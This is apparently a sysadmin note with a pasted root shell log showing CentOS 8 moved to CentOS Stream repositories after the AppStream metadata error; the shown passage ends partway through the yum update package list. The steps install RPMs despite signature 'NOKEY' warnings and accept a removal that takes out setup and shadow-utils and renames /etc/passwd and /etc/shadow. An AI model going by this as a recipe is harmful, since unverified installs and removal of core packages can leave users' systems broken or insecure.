CentOS 8 startup repo issue

You may jump into issues like

[root@tokio ~]# dnf update
CentOS-8 - AppStream                                                                    128  B/s |  38  B     00:00
Failed to download metadata for repo 'AppStream'
Error: Failed to download metadata for repo 'AppStream'

you need to

Last login: Mon Feb 28 02:01:55 2022 from 119.78.254.1
(reverse-i-search)`': ^C
[root@tokio ~]# nan o^C
[root@tokio ~]# curl -O
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
[root@tokio ~]# curl -O https://rpmfind.net/linux/centos/8-stream/BaseOS/x86_64/os/Packages/centos-stream-release-8.5-2.el8.noarch.rpm
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 22216  100 22216    0     0  15279      0  0:00:01  0:00:01 --:--:-- 15268curl
[root@tokio ~]# curl -O https://rpmfind.net/linux/centos/8-stream/BaseOS/x86_64/os/Packages/centos-stream-repos-8-3.el8.noarch.rpm
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 19892  100 19892    0     0  16521      0  0:00:01  0:00:01 --:--:-- 16521lur
[root@tokio ~]# curl -O https://rpmfind.net/linux/centos/8-stream/BaseOS/x86_64/os/Packages/centos-gpg-keys-8-3.el8.noarch.rpm
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 12552  100 12552    0     0  10330      0  0:00:01  0:00:01 --:--:-- 10330
[root@tokio ~]# rpm -i ./
anaconda-ks.cfg                             centos-stream-release-8.5-2.el8.noarch.rpm
.bash_history                               centos-stream-repos-8-3.el8.noarch.rpm
.bash_logout                                .cshrc
.bash_profile                               original-ks.cfg
.bashrc                                     .ssh/
centos-gpg-keys-8-3.el8.noarch.rpm          .tcshrc
[root@tokio ~]# rpm -i ./
anaconda-ks.cfg                             centos-stream-release-8.5-2.el8.noarch.rpm
.bash_history                               centos-stream-repos-8-3.el8.noarch.rpm
.bash_logout                                .cshrc
.bash_profile                               original-ks.cfg
.bashrc                                     .ssh/
centos-gpg-keys-8-3.el8.noarch.rpm          .tcshrc
[root@tokio ~]# rpm -i ./centos-gpg-keys-8-3.el8.noarch.rpm
warning: ./centos-gpg-keys-8-3.el8.noarch.rpm: Header V3 RSA/SHA256 Signature, key ID 8483c65d: NOKEY
[root@tokio ~]# rpm -i ./centos-stream-repos-8-3.el8.noarch.rpm
warning: ./centos-stream-repos-8-3.el8.noarch.rpm: Header V3 RSA/SHA256 Signature, key ID 8483c65d: NOKEY
error: Failed dependencies:
	centos-repos(8) conflicts with centos-stream-repos-8-3.el8.noarch
[root@tokio ~]# nf re^C
[root@tokio ~]# dnf remove centos-repos
Dependencies resolved.
========================================================================================================================
 Package                         Architecture         Version                             Repository               Size
========================================================================================================================
Removing:
 centos-repos                    x86_64               8.1-1.1911.0.8.el8                  @anaconda               8.7 k
Removing dependent packages:
 initscripts                     x86_64               10.00.4-1.el8                       @anaconda               1.0 M
 nfs-utils                       x86_64               1:2.3.3-26.el8                      @anaconda               1.8 M
 setup                           noarch               2.12.2-2.el8                        @anaconda               707 k
 shadow-utils                    x86_64               2:4.6-8.el8                         @anaconda               5.1 M
Removing unused dependencies:
 centos-gpg-keys                 noarch               8.1-1.1911.0.8.el8                  @anaconda               3.3 k
 centos-release                  x86_64               8.1-1.1911.0.8.el8                  @anaconda                25 k
 gssproxy                        x86_64               0.8.0-14.el8                        @anaconda               393 k
 keyutils                        x86_64               1.5.10-6.el8                        @anaconda               115 k
 libverto-libevent               x86_64               0.3.0-5.el8                         @anaconda                12 k
 quota                           x86_64               1:4.04-10.el8                       @anaconda               949 k
 quota-nls                       noarch               1:4.04-10.el8                       @anaconda               277 k
 rpcbind                         x86_64               1.2.5-4.el8                         @anaconda               137 k

Transaction Summary
========================================================================================================================
Remove  13 Packages

Freed space: 11 M
Is this ok [y/N]: y
Running transaction check
Transaction check succeeded.
Running transaction test
Transaction test succeeded.
Running transaction
  Preparing        :                                                                                                1/1
  Running scriptlet: nfs-utils-1:2.3.3-26.el8.x86_64                                                                1/1
  Running scriptlet: nfs-utils-1:2.3.3-26.el8.x86_64                                                               1/13
  Erasing          : nfs-utils-1:2.3.3-26.el8.x86_64                                                               1/13
warning: file /var/lib/nfs/v4recovery: remove failed: No such file or directory
warning: file /var/lib/nfs/statd/sm.bak: remove failed: No such file or directory
warning: file /var/lib/nfs/statd/sm: remove failed: No such file or directory
warning: file /var/lib/nfs/statd: remove failed: No such file or directory
warning: directory /var/lib/nfs/rpc_pipefs: remove failed: Device or resource busy

  Running scriptlet: nfs-utils-1:2.3.3-26.el8.x86_64                                                               1/13
  Running scriptlet: rpcbind-1.2.5-4.el8.x86_64                                                                    2/13
  Erasing          : rpcbind-1.2.5-4.el8.x86_64                                                                    2/13
  Running scriptlet: rpcbind-1.2.5-4.el8.x86_64                                                                    2/13
  Running scriptlet: initscripts-10.00.4-1.el8.x86_64                                                              3/13
  Erasing          : initscripts-10.00.4-1.el8.x86_64                                                              3/13
  Running scriptlet: initscripts-10.00.4-1.el8.x86_64                                                              3/13
  Erasing          : shadow-utils-2:4.6-8.el8.x86_64                                                               4/13
  Erasing          : setup-2.12.2-2.el8.noarch                                                                     5/13
warning: /etc/shadow saved as /etc/shadow.rpmsave
warning: /etc/passwd saved as /etc/passwd.rpmsave
warning: /etc/gshadow saved as /etc/gshadow.rpmsave
warning: /etc/group saved as /etc/group.rpmsave

  Erasing          : centos-release-8.1-1.1911.0.8.el8.x86_64                                                      6/13
  Running scriptlet: centos-release-8.1-1.1911.0.8.el8.x86_64                                                      6/13
  Erasing          : centos-repos-8.1-1.1911.0.8.el8.x86_64                                                        7/13
  Running scriptlet: gssproxy-0.8.0-14.el8.x86_64                                                                  8/13
  Erasing          : gssproxy-0.8.0-14.el8.x86_64                                                                  8/13
  Running scriptlet: gssproxy-0.8.0-14.el8.x86_64                                                                  8/13
  Erasing          : quota-1:4.04-10.el8.x86_64                                                                    9/13
  Erasing          : quota-nls-1:4.04-10.el8.noarch                                                               10/13
  Erasing          : centos-gpg-keys-8.1-1.1911.0.8.el8.noarch                                                    11/13
  Erasing          : libverto-libevent-0.3.0-5.el8.x86_64                                                         12/13
  Erasing          : keyutils-1.5.10-6.el8.x86_64                                                                 13/13
  Running scriptlet: keyutils-1.5.10-6.el8.x86_64                                                                 13/13
  Verifying        : centos-gpg-keys-8.1-1.1911.0.8.el8.noarch                                                     1/13
  Verifying        : centos-release-8.1-1.1911.0.8.el8.x86_64                                                      2/13
  Verifying        : centos-repos-8.1-1.1911.0.8.el8.x86_64                                                        3/13
  Verifying        : gssproxy-0.8.0-14.el8.x86_64                                                                  4/13
  Verifying        : initscripts-10.00.4-1.el8.x86_64                                                              5/13
  Verifying        : keyutils-1.5.10-6.el8.x86_64                                                                  6/13
  Verifying        : libverto-libevent-0.3.0-5.el8.x86_64                                                          7/13
  Verifying        : nfs-utils-1:2.3.3-26.el8.x86_64                                                               8/13
  Verifying        : quota-1:4.04-10.el8.x86_64                                                                    9/13
  Verifying        : quota-nls-1:4.04-10.el8.noarch                                                               10/13
  Verifying        : rpcbind-1.2.5-4.el8.x86_64                                                                   11/13
  Verifying        : setup-2.12.2-2.el8.noarch                                                                    12/13
  Verifying        : shadow-utils-2:4.6-8.el8.x86_64                                                              13/13

Removed:
  centos-repos-8.1-1.1911.0.8.el8.x86_64    initscripts-10.00.4-1.el8.x86_64  nfs-utils-1:2.3.3-26.el8.x86_64
  setup-2.12.2-2.el8.noarch                 shadow-utils-2:4.6-8.el8.x86_64   centos-gpg-keys-8.1-1.1911.0.8.el8.noarch
  centos-release-8.1-1.1911.0.8.el8.x86_64  gssproxy-0.8.0-14.el8.x86_64      keyutils-1.5.10-6.el8.x86_64
  libverto-libevent-0.3.0-5.el8.x86_64      quota-1:4.04-10.el8.x86_64        quota-nls-1:4.04-10.el8.noarch
  rpcbind-1.2.5-4.el8.x86_64

Complete!
[root@tokio ~]# dnf remove centos-repos^C
[root@tokio ~]# rpm -i ./
anaconda-ks.cfg                             centos-stream-release-8.5-2.el8.noarch.rpm
.bash_history                               centos-stream-repos-8-3.el8.noarch.rpm
.bash_logout                                .cshrc
.bash_profile                               original-ks.cfg
.bashrc                                     .ssh/
centos-gpg-keys-8-3.el8.noarch.rpm          .tcshrc
[root@tokio ~]# rpm -i ./centos-gpg-keys-8-3.el8.noarch.rpm
warning: ./centos-gpg-keys-8-3.el8.noarch.rpm: Header V3 RSA/SHA256 Signature, key ID 8483c65d: NOKEY
	package centos-gpg-keys-1:8-3.el8.noarch is already installed
[root@tokio ~]# rpm -i ./centos-stream-release-8.5-2.el8.noarch.rpm
warning: ./centos-stream-release-8.5-2.el8.noarch.rpm: Header V3 RSA/SHA256 Signature, key ID 8483c65d: NOKEY
[root@tokio ~]# rpm -i ./centos-stream-repos-8-3.el8.noarch.rpm
warning: ./centos-stream-repos-8-3.el8.noarch.rpm: Header V3 RSA/SHA256 Signature, key ID 8483c65d: NOKEY
[root@tokio ~]# yum update
CentOS Stream 8 - AppStream                                                             6.0 MB/s |  20 MB     00:03
CentOS Stream 8 - BaseOS                                                                6.1 MB/s |  19 MB     00:03
CentOS Stream 8 - Extras                                                                 15 kB/s |  18 kB     00:01
Dependencies resolved.
========================================================================================================================
 Package                              Architecture    Version                                  Repository          Size
========================================================================================================================
Installing:
 kernel                               x86_64          4.18.0-365.el8                           baseos             7.7 M
 kernel-core                          x86_64          4.18.0-365.el8                           baseos              39 M
 kernel-modules                       x86_64          4.18.0-365.el8                           baseos              31 M
Upgrading:
 authselect-compat                    x86_64          1.2.2-3.el8                              appstream           38 k
 libfastjson                          x86_64          0.99.9-1.el8                             appstream           38 k
 libmaxminddb                         x86_64          1.2.0-10.el8                             appstream           33 k
 libxkbcommon                         x86_64          0.9.1-1.el8                              appstream          116 k
 oddjob                               x86_64          0.34.7-1.el8                             appstream           80 k
 oddjob-mkhomedir                     x86_64          0.34.7-1.el8                             appstream           49 k
 plymouth                             x86_64          0.9.4-10.20200615git1e36e30.el8          appstream          127 k
 plymouth-core-libs                   x86_64          0.9.4-10.20200615git1e36e30.el8          appstream          122 k
 plymouth-scripts                     x86_64          0.9.4-10.20200615git1e36e30.el8          appstream           44 k
 python3-newt                         x86_64          0.52.20-11.el8                           appstream           64 k
 python3-pyOpenSSL                    noarch          19.0.0-1.el8                             appstream          103 k
 python3-unbound                      x86_64          1.7.3-17.el8                             appstream          119 k
 rsyslog                              x86_64          8.2102.0-7.el8                           appstream          752 k
 unbound-libs                         x86_64          1.7.3-17.el8                             appstream          503 k
 xkeyboard-config                     noarch          2.28-1.el8                               appstream          782 k
 NetworkManager                       x86_64          1:1.36.0-0.9.el8                         baseos             2.3 M
 NetworkManager-libnm                 x86_64          1:1.36.0-0.9.el8                         baseos             1.8 M
 NetworkManager-team                  x86_64          1:1.36.0-0.9.el8                         baseos             152 k
 NetworkManager-tui                   x86_64          1:1.36.0-0.9.el8                         baseos             345 k
 audit                                x86_64          3.0.7-1.el8                              baseos             263 k
 audit-libs                           x86_64          3.0.7-1.el8                              baseos             122 k
 authselect                           x86_64          1.2.2-3.el8                              baseos             133 k
 authselect-libs                      x86_64          1.2.2-3.el8                              baseos             222 k
 bash                                 x86_64          4.4.20-3.el8                             baseos             1.5 M
 bind-export-libs                     x86_64          32:9.11.36-2.el8                         baseos             1.1 M
 brotli                               x86_64          1.0.6-3.el8                              baseos             323 k
 c-ares                               x86_64          1.13.0-6.el8                             baseos              93 k
 ca-certificates                      noarch          2021.2.50-82.el8                         baseos             390 k
 centos-gpg-keys                      noarch          1:8-4.el8                                baseos              12 k
 centos-stream-release                noarch          8.6-1.el8                                baseos              22 k
 centos-stream-repos                  noarch          8-4.el8                                  baseos              20 k
 chkconfig                            x86_64          1.19.1-1.el8                             baseos             198 k
 chrony                               x86_64          4.1-1.el8                                baseos             327 k
 coreutils                            x86_64          8.30-12.el8                              baseos             1.2 M
 coreutils-common                     x86_64          8.30-12.el8                              baseos             2.0 M
 cpio                                 x86_64          2.12-11.el8                              baseos             266 k
 cronie                               x86_64          1.5.2-6.el8                              baseos             118 k
 cronie-anacron                       x86_64          1.5.2-6.el8                              baseos              42 k
 crontabs                             noarch          1.11-17.20190603git.el8                  baseos              25 k
 crypto-policies                      noarch          20211116-1.gitae470d6.el8                baseos              64 k
 cryptsetup-libs                      x86_64          2.3.7-1.el8                              baseos             487 k
 curl                                 x86_64          7.61.1-22.el8                            baseos             351 k
 cyrus-sasl-lib                       x86_64          2.1.27-5.el8                             baseos             123 k
 dbus                                 x86_64          1:1.12.8-18.el8                          baseos              41 k
 dbus-common                          noarch          1:1.12.8-18.el8                          baseos              46 k
 dbus-daemon                          x86_64          1:1.12.8-18.el8                          baseos             240 k
 dbus-libs                            x86_64          1:1.12.8-18.el8                          baseos             184 k
 dbus-tools                           x86_64          1:1.12.8-18.el8                          baseos              85 k
 device-mapper                        x86_64          8:1.02.181-3.el8                         baseos             377 k
 device-mapper-libs                   x86_64          8:1.02.181-3.el8                         baseos             410 k
 dhcp-client                          x86_64          12:4.3.6-47.el8.0.1                      baseos             318 k
 dhcp-common                          noarch          12:4.3.6-47.el8.0.1                      baseos             207 k
 dhcp-libs                            x86_64          12:4.3.6-47.el8.0.1                      baseos             148 k
 diffutils                            x86_64          3.6-6.el8                                baseos             358 k
 dmidecode                            x86_64          1:3.3-1.el8                              baseos              92 k
 dnf                                  noarch          4.7.0-7.el8                              baseos             544 k
 dnf-data                             noarch          4.7.0-7.el8                              baseos             155 k
 dnf-plugins-core                     noarch          4.0.21-10.el8                            baseos              71 k
 dracut                               x86_64          049-201.git20220131.el8                  baseos             376 k
 dracut-config-rescue                 x86_64          049-201.git20220131.el8                  baseos              61 k
 dracut-network                       x86_64          049-201.git20220131.el8                  baseos             109 k
 dracut-squash                        x86_64          049-201.git20220131.el8                  baseos              62 k
 e2fsprogs                            x86_64          1.45.6-3.el8                             baseos             1.0 M
 e2fsprogs-libs                       x86_64          1.45.6-3.el8                             baseos             233 k
 elfutils-default-yama-scope          noarch          0.186-1.el8                              baseos              50 k
 elfutils-libelf                      x86_64          0.186-1.el8                              baseos             229 k
 elfutils-libs                        x86_64          0.186-1.el8                              baseos             295 k
 ethtool                              x86_64          2:5.13-1.el8                             baseos             219 k
 expat                                x86_64          2.2.5-5.el8                              baseos             112 k
 file                                 x86_64          5.33-20.el8                              baseos              77 k
 file-libs                            x86_64          5.33-20.el8                              baseos             543 k
 filesystem                           x86_64          3.8-6.el8                                baseos             1.1 M
 firewalld                            noarch          0.9.3-11.el8                             baseos             503 k
 firewalld-filesystem                 noarch          0.9.3-11.el8                             baseos              78 k
 freetype                             x86_64          2.9.1-4.el8_3.1                          baseos             394 k
 fuse-libs                            x86_64          2.9.7-14.el8                             baseos             102 k
 gawk                                 x86_64          4.2.1-2.el8                              baseos             1.1 M
 glib2                                x86_64          2.56.4-158.el8                           baseos             2.5 M
 glibc                                x86_64          2.28-189.el8                             baseos             2.2 M
 glibc-common                         x86_64          2.28-189.el8                             baseos             1.3 M
 glibc-langpack-en                    x86_64          2.28-189.el8                             baseos             834 k
 gnupg2                               x86_64          2.2.20-2.el8                             baseos             2.4 M
 gnupg2-smime                         x86_64          2.2.20-2.el8                             baseos             283 k
 gnutls                               x86_64          3.6.16-4.el8                             baseos             1.0 M
 gpgme                                x86_64          1.13.1-11.el8                            baseos             336 k
 grub2-common                         noarch          1:2.02-106.el8                           baseos             891 k
 grub2-pc                             x86_64          1:2.02-106.el8                           baseos              42 k
 grub2-pc-modules                     noarch          1:2.02-106.el8                           baseos             916 k
 grub2-tools                          x86_64          1:2.02-106.el8                           baseos             2.0 M
 grub2-tools-extra                    x86_64          1:2.02-106.el8                           baseos             1.1 M
 grub2-tools-minimal                  x86_64          1:2.02-106.el8                           baseos             210 k
 grubby                               x86_64          8.40-42.el8                              baseos              49 k
 gzip                                 x86_64          1.9-12.el8                               baseos             167 k
 hdparm                               x86_64          9.54-4.el8                               baseos             100 k
 hostname                             x86_64          3.20-7.el8.0.1                           baseos              32 k
 hwdata                               noarch          0.314-8.12.el8                           baseos             1.7 M
 ima-evm-utils                        x86_64          1.3.2-12.el8                             baseos              64 k
 info                                 x86_64          6.5-7.el8_5                              baseos             198 k
 ipcalc                               x86_64          0.2.4-4.el8                              baseos              38 k
 iproute                              x86_64          5.15.0-3.el8                             baseos             796 k
 iprutils                             x86_64          2.4.19-1.el8                             baseos             255 k
 iptables                             x86_64          1.8.4-22.el8                             baseos             584 k
 iptables-ebtables                    x86_64          1.8.4-22.el8                             baseos              72 k
 iptables-libs                        x86_64          1.8.4-22.el8                             baseos             108 k
 iputils                              x86_64          20180629-9.el8                           baseos             148 k
 irqbalance                           x86_64          2:1.4.0-6.el8                            baseos              56 k
 iwl100-firmware                      noarch          39.31.5.1-106.el8.1                      baseos             174 k
 iwl1000-firmware                     noarch          1:39.31.5.1-106.el8.1                    baseos             237 k
 iwl105-firmware                      noarch          18.168.6.1-106.el8.1                     baseos             258 k
 iwl135-firmware                      noarch          18.168.6.1-106.el8.1                     baseos             267 k
 iwl2000-firmware                     noarch          18.168.6.1-106.el8.1                     baseos             261 k
 iwl2030-firmware                     noarch          18.168.6.1-106.el8.1                     baseos             269 k
 iwl3160-firmware                     noarch          1:25.30.13.0-106.el8.1                   baseos             1.7 M
 iwl3945-firmware                     noarch          15.32.2.9-106.el8.1                      baseos             112 k
 iwl4965-firmware                     noarch          228.61.2.24-106.el8.1                    baseos             125 k
 iwl5000-firmware                     noarch          8.83.5.1_1-106.el8.1                     baseos             318 k
 iwl5150-firmware                     noarch          8.24.2.2-106.el8.1                       baseos             170 k
 iwl6000-firmware                     noarch          9.221.4.1-106.el8.1                      baseos             191 k
 iwl6000g2a-firmware                  noarch          18.168.6.1-106.el8.1                     baseos             334 k
 iwl6050-firmware                     noarch          41.28.5.1-106.el8.1                      baseos             267 k
 iwl7260-firmware                     noarch          1:25.30.13.0-106.el8.1                   baseos              23 M
 jansson                              x86_64          2.14-1.el8                               baseos              47 k
 json-c                               x86_64          0.13.1-3.el8                             baseos              41 k
 kbd                                  x86_64          2.0.4-10.el8                             baseos             390 k
 kbd-legacy                           noarch          2.0.4-10.el8                             baseos             481 k
 kbd-misc                             noarch          2.0.4-10.el8                             baseos             1.5 M
 kernel-tools                         x86_64          4.18.0-365.el8                           baseos             7.9 M
 kernel-tools-libs                    x86_64          4.18.0-365.el8                           baseos             7.7 M
 kexec-tools                          x86_64          2.0.20-68.el8                            baseos             523 k
 keyutils-libs                        x86_64          1.5.10-9.el8                             baseos              34 k
 kmod                                 x86_64          25-19.el8                                baseos             126 k
 kmod-libs                            x86_64          25-19.el8                                baseos              68 k
 kpartx                               x86_64          0.8.4-22.el8                             baseos             114 k
 krb5-libs                            x86_64          1.18.2-14.el8                            baseos             840 k
 libarchive                           x86_64          3.3.3-3.el8_5                            baseos             360 k
 libblkid                             x86_64          2.32.1-32.el8                            baseos             218 k
 libcap                               x86_64          2.48-2.el8                               baseos              74 k
 libcap-ng                            x86_64          0.7.11-1.el8                             baseos              33 k
 libcom_err                           x86_64          1.45.6-3.el8                             baseos              49 k
 libcomps                             x86_64          0.1.18-1.el8                             baseos              82 k
 libcroco                             x86_64          0.6.12-4.el8_2.1                         baseos             113 k
 libcurl                              x86_64          7.61.1-22.el8                            baseos             301 k
 libdb                                x86_64          5.3.28-42.el8_4                          baseos             751 k
 libdb-utils                          x86_64          5.3.28-42.el8_4                          baseos             150 k
 libdnf                               x86_64          0.63.0-7.el8                             baseos             701 k
 libfdisk                             x86_64          2.32.1-32.el8                            baseos             252 k
 libffi                               x86_64          3.1-23.el8                               baseos              37 k
 libgcc                               x86_64          8.5.0-10.el8                             baseos              80 k
 libgcrypt                            x86_64          1.8.5-6.el8                              baseos             463 k
 libgomp                              x86_64          8.5.0-10.el8                             baseos             207 k
 libkcapi                             x86_64          1.2.0-2.el8                              baseos              48 k
 libkcapi-hmaccalc                    x86_64          1.2.0-2.el8                              baseos              31 k
 libldb                               x86_64          2.4.1-1.el8                              baseos             188 k
 libmodulemd1                         x86_64          1.8.16-0.2.13.0.1                        baseos             176 k
 libmount                             x86_64          2.32.1-32.el8                            baseos             235 k
 libndp                               x86_64          1.7-6.el8                                baseos              40 k
 libnfsidmap                          x86_64          1:2.3.3-50.el8                           baseos             121 k
 libnftnl                             x86_64          1.1.5-5.el8                              baseos              83 k
 libnghttp2                           x86_64          1.33.0-3.el8_2.1                         baseos              77 k
 libnl3                               x86_64          3.5.0-1.el8                              baseos             320 k
 libnl3-cli                           x86_64          3.5.0-1.el8                              baseos             193 k
 libpcap                              x86_64          14:1.9.1-5.el8                           baseos             169 k
 libpsl                               x86_64          0.20.2-6.el8                             baseos              61 k
 libpwquality                         x86_64          1.4.4-3.el8                              baseos             107 k
 librepo                              x86_64          1.14.2-1.el8                             baseos              93 k
 libreport-filesystem                 x86_64          2.9.5-15.el8                             baseos              21 k
 libseccomp                           x86_64          2.5.2-1.el8                              baseos              71 k
 libselinux                           x86_64          2.9-5.el8                                baseos             165 k
 libselinux-utils                     x86_64          2.9-5.el8                                baseos             243 k
 libsemanage                          x86_64          2.9-6.el8                                baseos             165 k
 libsepol                             x86_64          2.9-3.el8                                baseos             340 k
 libsmartcols                         x86_64          2.32.1-32.el8                            baseos             178 k
 libsolv                              x86_64          0.7.20-1.el8                             baseos             375 k
 libss                                x86_64          1.45.6-3.el8                             baseos              54 k
 libssh                               x86_64          0.9.6-3.el8                              baseos             216 k
 libssh-config                        noarch          0.9.6-3.el8                              baseos              19 k
 libsss_autofs                        x86_64          2.6.1-2.el8                              baseos             119 k
 libsss_certmap                       x86_64          2.6.1-2.el8                              baseos             162 k
 libsss_idmap                         x86_64          2.6.1-2.el8                              baseos             121 k
 libsss_nss_idmap                     x86_64          2.6.1-2.el8                              baseos             128 k
 libsss_sudo                          x86_64          2.6.1-2.el8                              baseos             117 k
 libstdc++                            x86_64          8.5.0-10.el8                             baseos             453 k
 libsysfs                             x86_64          2.1.0-25.el8                             baseos              53 k
 libtalloc                            x86_64          2.3.3-1.el8                              baseos              49 k
 libtdb                               x86_64          1.4.4-1.el8                              baseos              59 k
 libteam                              x86_64          1.31-2.el8                               baseos              64 k
 libtevent                            x86_64          0.11.0-0.el8                             baseos              50 k
 libtirpc                             x86_64          1.1.4-6.el8                              baseos             113 k
 libusbx                              x86_64          1.0.23-4.el8                             baseos              74 k
 libuser                              x86_64          0.62-24.el8                              baseos             414 k
 libuuid                              x86_64          2.32.1-32.el8                            baseos              97 k
 libxcrypt                            x86_64          4.1.1-6.el8                              baseos              73 k
 libxml2                              x86_64          2.9.7-11.el8                             baseos             696 k
 linux-firmware                       noarch          20220210-106.git6342082c.el8             baseos             194 M
 logrotate                            x86_64          3.14.0-4.el8                             baseos              86 k
 lshw                                 x86_64          B.02.19.2-6.el8                          baseos             341 k
 lsscsi                               x86_64          0.32-3.el8                               baseos              71 k
 lua-libs                             x86_64          5.3.4-12.el8                             baseos             118 k
 lz4-libs                             x86_64          1.8.3-3.el8_4                            baseos              66 k
 man-db                               x86_64          2.7.6.1-18.el8                           baseos             887 k
 microcode_ctl                        x86_64          4:20220207-1.el8                         baseos             5.5 M
 mozjs60                              x86_64          60.9.0-4.el8                             baseos             6.6 M
 ncurses                              x86_64          6.1-9.20180224.el8                       baseos             387 k
 ncurses-base                         noarch          6.1-9.20180224.el8                       baseos              81 k
 ncurses-libs                         x86_64          6.1-9.20180224.el8                       baseos             334 k
 net-tools                            x86_64          2.0-0.52.20160912git.el8                 baseos             322 k
 nettle                               x86_64          3.4.1-7.el8                              baseos             301 k
 newt                                 x86_64          0.52.20-11.el8                           baseos             121 k
 nftables                             x86_64          1:0.9.3-24.el8                           baseos             323 k
 numactl-libs                         x86_64          2.0.12-13.el8                            baseos              36 k
 openldap                             x86_64          2.4.46-18.el8                            baseos             352 k
 openssh                              x86_64          8.0p1-12.el8                             baseos             522 k
 openssh-clients                      x86_64          8.0p1-12.el8                             baseos             668 k
 openssh-server                       x86_64          8.0p1-12.el8                             baseos             491 k
 openssl                              x86_64          1:1.1.1k-5.el8_5                         baseos             709 k
 openssl-libs                         x86_64          1:1.1.1k-5.el8_5                         baseos             1.5 M
 openssl-pkcs11                       x86_64          0.4.10-2.el8                             baseos              66 k
 os-prober                            x86_64          1.74-9.el8                               baseos              51 k
 p11-kit                              x86_64          0.23.22-1.el8                            baseos             324 k
 p11-kit-trust                        x86_64          0.23.22-1.el8                            baseos             137 k
 pam                                  x86_64          1.3.1-16.el8                             baseos             739 k
 parted                               x86_64          3.2-39.el8                               baseos             555 k
 passwd                               x86_64          0.80-4.el8                               baseos             115 k
 pciutils-libs                        x86_64          3.7.0-1.el8                              baseos              54 k
 pcre                                 x86_64          8.42-6.el8                               baseos             211 k
 pcre2                                x86_64          10.32-2.el8                              baseos             246 k
 pigz                                 x86_64          2.4-4.el8                                baseos              79 k
 platform-python                      x86_64          3.6.8-45.el8                             baseos              85 k
 platform-python-pip                  noarch          9.0.3-22.el8                             baseos             1.6 M
 platform-python-setuptools           noarch          39.2.0-6.el8                             baseos             632 k
 policycoreutils                      x86_64          2.9-18.el8                               baseos             375 k
 polkit                               x86_64          0.115-13.el8_5.1                         baseos             154 k
 polkit-libs                          x86_64          0.115-13.el8_5.1                         baseos              76 k
 popt                                 x86_64          1.18-1.el8                               baseos              61 k
 procps-ng                            x86_64          3.3.15-6.el8                             baseos             329 k
 psmisc                               x86_64          23.1-5.el8                               baseos             151 k
 python3-cryptography                 x86_64          3.2.1-5.el8                              baseos             559 k
 python3-dnf                          noarch          4.7.0-7.el8                              baseos             545 k
 python3-dnf-plugins-core             noarch          4.0.21-10.el8                            baseos             230 k
 python3-firewall                     noarch          0.9.3-11.el8                             baseos             433 k
 python3-gobject-base                 x86_64          3.28.3-2.el8                             baseos             313 k
 python3-gpg                          x86_64          1.13.1-11.el8                            baseos             244 k
 python3-hawkey                       x86_64          0.63.0-7.el8                             baseos             116 k
 python3-libcomps                     x86_64          0.1.18-1.el8                             baseos              52 k
 python3-libdnf                       x86_64          0.63.0-7.el8                             baseos             778 k
 python3-librepo                      x86_64          1.14.2-1.el8                             baseos              53 k
 python3-libs                         x86_64          3.6.8-45.el8                             baseos             7.8 M
 python3-libselinux                   x86_64          2.9-5.el8                                baseos             283 k
 python3-libxml2                      x86_64          2.9.7-11.el8                             baseos             237 k
 python3-linux-procfs                 noarch          0.7.0-1.el8                              baseos              42 k
 python3-perf                         x86_64          4.18.0-365.el8                           baseos             7.9 M
 python3-pip-wheel                    noarch          9.0.3-22.el8                             baseos             895 k
 python3-ply                          noarch          3.9-9.el8                                baseos             111 k
 python3-rpm                          x86_64          4.14.3-22.el8                            baseos             155 k
 python3-setuptools-wheel             noarch          39.2.0-6.el8                             baseos             289 k
 python3-syspurpose                   x86_64          1.28.25-1.el8                            baseos             324 k
 rng-tools                            x86_64          6.14-4.git.b2b7934e.el8                  baseos              72 k
 rpm                                  x86_64          4.14.3-22.el8                            baseos             543 k
 rpm-build-libs                       x86_64          4.14.3-22.el8                            baseos             157 k
 rpm-libs                             x86_64          4.14.3-22.el8                            baseos             345 k
 rpm-plugin-selinux                   x86_64          4.14.3-22.el8                            baseos              77 k
 rpm-plugin-systemd-inhibit           x86_64          4.14.3-22.el8                            baseos              79 k
 sed                                  x86_64          4.5-5.el8                                baseos             298 k
 selinux-policy                       noarch          3.14.3-92.el8                            baseos             643 k
 selinux-policy-targeted              noarch          3.14.3-92.el8                            baseos              15 M
 sg3_utils                            x86_64          1.44-5.el8                               baseos             917 k
 sg3_utils-libs                       x86_64          1.44-5.el8                               baseos              99 k
 snappy                               x86_64          1.1.8-3.el8                              baseos              37 k
 sqlite-libs                          x86_64          3.26.0-15.el8                            baseos             581 k
 squashfs-tools                       x86_64          4.3-20.el8                               baseos             165 k
 sssd-client                          x86_64          2.6.1-2.el8                              baseos             224 k
 sssd-common                          x86_64          2.6.1-2.el8                              baseos             1.6 M
 sssd-kcm                             x86_64          2.6.1-2.el8                              baseos             250 k
 sssd-nfs-idmap                       x86_64          2.6.1-2.el8                              baseos             118 k
 sudo                                 x86_64          1.8.29-8.el8                             baseos             925 k
 systemd                              x86_64          239-58.el8                               baseos             3.6 M
 systemd-libs                         x86_64          239-58.el8                               baseos             1.1 M
 systemd-pam                          x86_64          239-58.el8                               baseos             483 k
 systemd-udev                         x86_64          239-58.el8                               baseos             1.6 M
 teamd                                x86_64          1.31-2.el8                               baseos             130 k
 trousers                             x86_64          0.3.15-1.el8                             baseos             152 k
 trousers-lib                         x86_64          0.3.15-1.el8                             baseos             168 k
 tuned                                noarch          2.18.0-2.el8                             baseos             316 k
 tzdata                               noarch          2021e-1.el8                              baseos             474 k
 util-linux                           x86_64          2.32.1-32.el8                            baseos             2.5 M
 vim-minimal                          x86_64          2:8.0.1763-16.el8_5.12                   baseos             575 k
 virt-what                            x86_64          1.18-13.el8                              baseos              36 k
 which                                x86_64          2.21-17.el8                              baseos              49 k
 xfsprogs                             x86_64          5.0.0-10.el8                             baseos             1.1 M
 yum                                  noarch          4.7.0-7.el8                              baseos             201 k
 zlib                                 x86_64          1.2.11-17.el8                            baseos             102 k
Installing dependencies:
 grub2-tools-efi                      x86_64          1:2.02-106.el8                           baseos             474 k
 initscripts                          x86_64          10.00.17-1.el8                           baseos             340 k
 libbpf                               x86_64          0.4.0-3.el8                              baseos             125 k
 libibverbs                           x86_64          37.2-1.el8                               baseos             384 k
 libmodulemd                          x86_64          2.13.0-1.el8                             baseos             233 k
 libzstd                              x86_64          1.4.4-1.el8                              baseos             266 k
